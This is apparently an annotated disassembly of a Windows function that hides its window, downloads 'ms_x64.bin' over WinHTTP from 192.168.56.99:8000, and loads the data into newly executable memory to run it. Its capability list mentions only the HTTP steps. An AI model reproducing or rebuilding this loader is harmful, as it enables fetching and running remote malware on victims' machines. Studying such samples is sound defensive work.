Function at 0x1400018e4
Capabilities:
Hide graphical window
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
call fcn.140001e30
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov edx, 0
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x9c], 0
mov dword [rsp + 0x98], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
test rax, rax
je 0x140001c0d
mov r9d, 0
mov r8d, 0x1f40
lea rdx, str.192.168.56.99
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x68], rax
mov rcx, rax
test rax, rax
je 0x140001d2f
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.ms_x64.bin
lea rdx, [0x14000405a]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
je 0x140001c15
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001c15
mov edx, 0
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ebx, eax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rdx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x88]
mov r8d, 0
mov rcx, 0xffffffffffffffff
call fcn.140001797
mov rsi, qword [rsp + 0x90]
test ebx, ebx
je 0x140001b04
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x60], rax
mov r15, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r14, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [rsp + 0x9c], 0
mov rdx, qword [rsp + 0x60]
mov rcx, r12
call r15
mov edi, dword [rsp + 0x9c]
lea ebp, [rdi + 1]
mov edx, 1
mov rcx, rbp
call sub.msvcrt.dll_calloc
mov rbx, rax
mov r8, rbp
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x98]
mov r8d, edi
mov rdx, rbx
mov rcx, r12
call r14
mov r8d, dword [rsp + 0x9c]
mov rdx, rbx
mov rcx, rsi
call fcn.1400018a0
mov edi, dword [rsp + 0x9c]
mov eax, edi
add rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
test edi, edi
jne 0x140001a85
mov dword [rsp + 0x84], 0
lea rdx, [rsp + 0x90]
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x88]
mov rcx, 0xffffffffffffffff
call fcn.1400017d9
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.14000181b
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.14000185d
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140001be6
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r13, r13
je 0x140001bf4
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, 0
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r12, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rsi, [rsp + 0x88]
lea rbx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov r9, rsi
mov r8d, 0
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.140001797
mov dword [rsp + 0x84], 0
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.1400017d9
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.14000181b
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.14000185d
test r12, r12
je 0x140001bd3
jmp 0x140001bca
mov r12, qword [rsp + 0x68]
jmp 0x140001c15